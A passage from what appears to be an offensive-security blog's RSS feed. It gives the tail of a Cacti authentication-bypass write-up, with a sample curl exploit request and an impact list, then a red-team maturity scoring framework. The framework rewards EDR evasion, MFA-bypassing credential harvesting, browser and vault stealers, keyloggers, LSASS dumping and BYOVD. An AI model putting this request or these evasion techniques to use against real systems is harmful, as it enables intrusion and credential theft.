&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;s1&quot;&gt;&apos;http://target.com/cacti/remote_agent.php?action=snmpwalk &amp;amp;host_id=1 &amp;amp;oid=1.3.6.1.2.1.1&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;result [Authentication bypass ]:&lt;br /&gt;
&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/5.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/5.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;execution debugging step by step when the request is sent:&lt;/p&gt;

&lt;h3 id=&quot;step-a&quot;&gt;step A&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/6.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/6.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-b&quot;&gt;step B&lt;/h3&gt;

&lt;p&gt;client name becomes due remote agent strip domain function:&lt;br /&gt;
&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/7.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/7.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-c&quot;&gt;step C&lt;/h3&gt;

&lt;p&gt;make sure that you have already configured the second poller so the condition is true, the conditions will be true and the authorization will be granted:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/8.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/8.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/9.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/9.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;Successful exploitation grants unauthenticated access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_agent.php&lt;/code&gt;,&lt;br /&gt;
attacker could be able to bypass authentication and attacker can execute SNMP get requests on imported devices, in general attacker can run the following functions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;polldata, runquery, ping , snmpget, snmpwalk, graph_json , discover
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Sat, 11 Apr 2026 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Cacti-Authentication-Bypass-0Day-CVE-2026-22802</link>
        <link href="https://www.pwntricks.com/Cacti-Authentication-Bypass-0Day-CVE-2026-22802"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Cacti-Authentication-Bypass-0Day-CVE-2026-22802</guid>
      </item>
    
      <item>
        <title>Chain Of Success For Red Teamer In 2026</title>
        <description>&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

&lt;p&gt;In this blog, I will introduce a philosophy for red teamers that I call it &lt;strong&gt;Chain of Success Framework&lt;/strong&gt; - a structured methodology designed to measure how effective and mature a red team truly is.&lt;/p&gt;

&lt;p&gt;I developed this framework independently. The motivation was straightforward: there is no standardized measurement to evaluate how capable a red team is when it comes to conducting real-world offensive operations.&lt;/p&gt;

&lt;p&gt;Every phase included in this framework focuses exclusively on the team’s ability to achieve impact and accurately simulate real APTs and nation-state adversaries. The higher your team scores, the more operationally capable you are.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;h2 id=&quot;this-blog-post-is-based-on-my-experience-and-personal-opinion&quot;&gt;This blog post is based on my experience and personal opinion.&lt;/h2&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;figure-1&quot;&gt;Figure 1&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/7/1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;1-initial-access&quot;&gt;1. Initial Access&lt;/h2&gt;

&lt;p&gt;I have divided the initial access phase into the following categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Zero-Day / N-Day Exploitation&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Phishing&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Credential harvesting using private or heavily modified tools — must be fully undetectable.&lt;/li&gt;
      &lt;li&gt;Remote code execution via proprietary techniques or well-known methods that are highly customized to evade detection.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;OSINT&lt;/strong&gt; — focused on leaked data and credentials for the target organization.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;11-zero-day--n-day-exploitation--max-points-60&quot;&gt;1.1 Zero-Day / N-Day Exploitation — &lt;em&gt;Max Points: 60&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This capability is extremely difficult for small-to-medium tier red teams. It requires a well-funded team with dedicated time and resources for vulnerability research or N-day exploit development. An N-day vulnerability refers to a flaw that has been discovered and patched but for which no public exploit exists. These are among the most impactful exploits because organizations often delay patching. Some elite research teams can rediscover a vulnerability and develop a working exploit within a single day.&lt;/p&gt;

&lt;p&gt;At this stage, the red team should already have ready-to-deploy exploits in their arsenal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Exploit targets a well-known product&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Exploit targets a less common application used by the target&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;50&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Exploit generates some alerts&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;No exploit capability&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When developing exploits, OPSEC must be a primary consideration. No IOCs should be generated that could alert the SOC team, unless it is absolutely necessary for the exploit to function.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A dedicated research team focused exclusively on vulnerability research and exploit development.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;12-phishing&quot;&gt;1.2 Phishing&lt;/h3&gt;

&lt;h4 id=&quot;121-credential-harvesting--max-points-10&quot;&gt;1.2.1 Credential Harvesting — &lt;em&gt;Max Points: 10&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Credential harvesting should utilize in-house developed or heavily modified tools. The tooling must be fully undetectable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Tool is custom-built and undetected&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Tool has known detections&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CTI platforms, threat intelligence tools, firewalls, and email gateway security solutions (e.g., Proofpoint).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Build a custom tool capable of bypassing MFA and harvesting credentials from any target website — not limited to Microsoft or other well-known platforms.&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;122-remote-code-execution--max-points-30&quot;&gt;1.2.2 Remote Code Execution — &lt;em&gt;Max Points: 30&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The red team must have the ability to gain code execution while bypassing EDRs, CTI, firewalls, IDS, IPS, NDS, and SOC monitoring. Deduct 10 points if using a well-known or commercial C2 framework is used, even if the loader itself is undetected.
for example shortcut link to RCE but it is undetectable delivered as phishing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Code execution method is novel&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Some EDRs can block or detect the method with special configruation&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;20&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Uses a well-known TTP but no current detections exist&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Detected by at least 3 well-known EDRs&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EDRs, CTI, firewalls, IDS, IPS, NDS, SOC monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An in-house C2 framework with the capability to bypass any EDR on the market. I do not recommend purchasing commercial C2 frameworks, as most of them are heavily signatured. The time and effort required to make a commercial beacon undetectable including Cobalt Strike .&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;13-osint--leaked-credentials--max-points-10&quot;&gt;1.3 OSINT — Leaked Credentials — &lt;em&gt;Max Points: 10&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The team must have the ability to search for leaked credentials on the dark web. In most cases, if the target organization has a mature security posture, there will be minimal leaked credentials. However, overlooked third-party credential leaks are always worth investigating.&lt;/p&gt;

&lt;p&gt;A common scenario: a user signs into their personal Gmail account on both their corporate laptop and personal device, saving credentials via Google Password Manager. If the personal device is compromised, all synced credentials — including corporate ones — are exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Access to platforms such as Flare, Resecurity, or Recorded Future&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;No access to any CTI platform&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the target has a robust CTI program, they may identify and remediate leaked credentials before the red team can leverage them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Flare, Resecurity, Recorded Future (for use during red team operations).&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;2-exfiltration--c2-communication-channel--max-points-25&quot;&gt;2. Exfiltration &amp;amp; C2 Communication Channel — &lt;em&gt;Max Points: 25&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During a red team engagement, once you land on a machine with an EDR and successfully bypass it, the C2 will begin beaconing traffic. You must remain undetectable. In mature environments, consider setting the sleep interval to once per day — the C2 checks for new commands only once within a 24-hour period.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 communication uses well-known, legitimate network traffic patterns&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Slow command execution (high sleep intervals)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Utilizing target-owned domains for C2 infrastructure&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IPS, IDS, SOC monitoring, CTI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Custom-developed external C2 channels for your in-house C2 framework or as extensions for commercial C2 platforms.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;3-post-exploitation--max-points-50&quot;&gt;3. Post-Exploitation — &lt;em&gt;Max Points: 50&lt;/em&gt;&lt;/h2&gt;

&lt;h3 id=&quot;credential-stealers&quot;&gt;Credential Stealers&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;All of the following capabilities must be tested and confirmed to be undetected by well-known IOC signatures and EDR solutions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Capability&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Chromium-based browser credential stealers (Edge, Chrome)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Password vault stealers (1Password, Bitwarden, etc.)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Cookie stealers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Keyloggers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Hidden VNC&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SOC monitoring, EDRs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Custom-implemented modules within your C2 framework (in-house or commercial) with proprietary techniques.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;4-lateral-movement--max-points-40&quot;&gt;4. Lateral Movement — &lt;em&gt;Max Points: 40&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The red team must be able to move within the target network without triggering any detections. This requires custom implementations for lateral movement techniques to minimize IOCs and avoid alerting defensive teams.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Lateral movement technique is novel&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Lateral movement technique is undetected&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Using built-in or publicly known lateral movement methods&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EDRs, SOC monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Develop a custom lateral movement technique that is undetected by modern security solutions.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;5-lsass--sam-dump--max-points-60&quot;&gt;5. LSASS / SAM Dump — &lt;em&gt;Max Points: 60&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In certain scenarios, the engagement reaches a dead end — no exploitable vulnerabilities and no misconfigurations available for privilege escalation. In these situations, dumping LSASS or SAM becomes essential to enable lateral movement or achieve privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Using a novel TTP to dump LSASS and SAM&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Using BYOVD (Bring Your Own Vulnerable Driver) — blind the EDR without killing it&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Using BYOVD — killing or suspending the EDR process&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EDRs, SOC monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Custom-developed tools leveraging novel TTPs or BYOVD techniques. The preferred approach is to blind the EDR’s ability to observe malicious activity rather than terminating the EDR process entirely.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;6-persistence--max-points-30&quot;&gt;6. Persistence — &lt;em&gt;Max Points: 30&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You need to maintain access within the network for as long as possible without any detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Criteria&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Novel persistence technique&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Undetectable persistence technique&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;20&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Standard persistence that could be detected by some EDRs&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Detections&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EDRs, SOC monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools / Resources&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Custom BOF (Beacon Object File) or plugin to execute persistence mechanisms.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;chain-of-success--red-team-maturity-scoring-table&quot;&gt;Chain of Success — Red Team Maturity Scoring Table&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Phase&lt;/th&gt;
      &lt;th&gt;Sub-Phase&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Max Points&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Elite (275–315)&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Advanced (180–274)&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Intermediate (80–179)&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Beginner (0–79)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Zero-Day / N-Day (well-known product, no alerts)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;50 (less common app)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40 (generates alerts)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (no exploit)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Phishing — Credential Harvesting (custom undetected tool)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (tool has detections)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Phishing — RCE (novel method, custom C2)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;20 (some EDRs detect)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10 (known TTP, no detection)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (detected by 3+ EDRs)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;OSINT — Leaked Credentials (CTI access)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (no CTI access)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Exfil &amp;amp; C2 Comms&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Legitimate traffic + slow execution + target domains&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;25&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;25 (all three)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;15 (traffic + slow exec)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10 (traffic only)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Post-Exploitation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Chromium browser credential stealers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Post-Exploitation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Password vault stealers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Post-Exploitation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Cookie stealers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Post-Exploitation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Keyloggers&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Post-Exploitation&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Hidden VNC&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
